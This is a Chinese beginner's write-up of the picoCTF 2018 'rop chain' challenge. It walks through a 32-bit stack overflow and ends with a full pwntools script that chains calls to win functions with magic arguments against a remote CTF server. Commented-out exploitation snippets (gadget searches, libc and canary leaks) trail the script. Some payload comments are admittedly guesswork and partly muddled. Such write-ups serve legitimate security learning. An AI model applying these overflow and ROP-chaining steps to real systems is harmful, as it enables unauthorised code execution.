picoctf_2018_rop chain

小白垃圾笔记，不建议阅读。

这道题目其实我是瞎做的.

本地调试需要写一个文件名为flag.txt的文件。

先检查下保护：（我把文件名改成pwn了），32位仅仅开启了nx

然后放到32位ida里：

main函数如下：

 

调用了vuln：存在溢出点。

 

gdb中调试发现0x18个后边是ebp再往后是返回地址。

那么就利用这里的溢出。

查看又没sys啥的：

flag.txt???

 

查看下引用：flag函数:新天地。

 他会将flag读入如果win1不为0且win2不为0并且a1=-559……

记得之前做过一个题目就是比较的。当时直接看16进制：

所以这道题比较的是0DEADBAAD       一会参数设置为这个就好

 

对于win1和win2的话：

有两个函数:

 

win_function1比较简单：仅此而已。

 

至于win_function2嘛：

也还行吧：也是比较，参数传入为：我感觉这道题目就是考察参数传递的。对于函数的调用过程需要熟练。

 

我们的目的是使得win1不为0，win2不为0，且调用flag的时候a1参数是0BAAAAAAD

那么好了主要就是payload：

先是溢出：

b'a'*(0x18+4) #4是覆盖ebp

然后是win1=1的地址

他的第一个参数是返回地址：也就是win2

然后win2是有两个参数的第一个依旧是返回地址我们写flag的地址，第二个是a1这里是比较的数据

最后对于flag的返回地址我们已经设置成了p32(0x0BAAAAAAD)。不过我们已经不需要他返回去哪里了。我们只关心它的参数时另一个比较的值。

payload=b'a'*(0x18+4) #4是覆盖ebp

payload+=p32(set_win1_addr)    #vuln的返回地址设置成win1

payload+=p32(set_win2_addr)     #win1的返回地址设置成win2

payload+=p32(flag_addr)      #win2的返回地址设置为flag的地址

payload+=p32(0x0BAAAAAAD)    #win2的第一个参数（同时也是flag的返回地址、不过已经不重要）
payload+=p32(0x0DEADBAAD))   #flag的第二个参数

上边只是我的猜想而已。对于新的想法我在ida中查看

对于比较的内容：

 

 s好像是ebp（chat说是字符串）

r是返回地址（ret）

然后好像是第一个参数。

感觉从这里也可以知道哪里覆盖什么。

没办法不明白的还有很多，菜是原罪。

from pwn import *

debug=0
if debug:
    p=process('./pwn')
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(p)
else:
    p=remote('node4.buuoj.cn',25415)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)


flag_addr=0x0804862B
set_win1_addr=0x080485CB
set_win2_addr=0x080485D8
a1=-1163220307
win1_addr=0x0804A041

ru(b'input>')
se(b'a'*(0x18+4)+p32(set_win1_addr)+p32(set_win2_addr)+p32(flag_addr)+p32(0x0BAAAAAAD)+p32(0x0DEADBAAD))




p.interactive()

#ROPgadget --binary <binary_file> --only "pop|ret" | grep "pop rdi"
#ROPgadget --binary bin --only "pop|ret"
#ROPgadget --binary ./level2_x64 --only "ret"
#write_add=u32(p.recv(4))

#addr=u32(r.recvuntil('\xf7')[-4:])
#puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#sa(b'wish!\n', b'%11$p')
#rl(b'0x')
#canary = int(p.recv(16), 16)
#next(libc.search(b'/bin/sh\x00'))
#p=gdb.debug("./ciscn_2019_es_2","break main")